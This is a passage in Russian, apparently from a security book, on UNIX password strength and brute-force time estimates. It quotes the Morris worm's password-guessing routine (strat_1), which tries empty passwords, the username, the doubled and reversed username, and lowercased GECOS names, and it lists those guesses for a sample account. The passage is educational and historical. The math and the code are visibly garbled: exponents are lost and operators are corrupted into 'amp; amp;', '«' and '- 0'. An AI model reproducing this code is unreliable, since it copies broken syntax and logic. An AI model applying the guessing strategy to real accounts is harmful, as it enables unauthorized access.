Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk-0+ nk-1+ nk-2+ nk-3+ nk-4… nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.
Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.
Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):
· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */· static strat_1()/* 0x61ca */· {· int cnt;· char usrname[50], buf[50];·· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)· {· /* Every tenth time look for "me mates" */· if ((cnt % 10) - 0) other_sleep(0);·· /* Check for no passwd */· // Проверка на пустой пароль· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */·· /* If the passwd is something like "*" punt matching it. */· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль· if (strlen(x27f2c-»passwd)!= 13) continue;·· // Попробовать в качестве пароля подставить имя пользователя· strncpy(usrname, x27f2c, sizeof(usrname)-1);· usrname[sizeof(usrname)-1] = '\0';· if (try_passwd(x27f2c, usrname)) continue;·· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);· if (try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре· sscanf(x27f2c-»gecos, XS("%[^,]"), buf);· if (isupper(buf[0])) buf[0] = tolower(buf[0]);· if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля второе расширенное имя пользователя· buf[0] = '\0';· sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf);· if (isupper(buf[0])) buf[0] = tolower(buf[0]);· if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp;· try_passwd(x27f2c, buf)) continue;·· // Попробовать в качестве пароля имя пользователя задом наперед· reverse_str(usrname, buf);· if (try_passwd(x27f2c, buf));·}· if (x27f2c - 0) cmode = 2;· return;·}То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:
· пустой пароль (вдруг да повезет!)
· имя пользователя (в приведенном примере kpnc)
· удвоенное имя пользователя (kpnckpnc)
· первое расширенное имя в нижнем регистре (kris)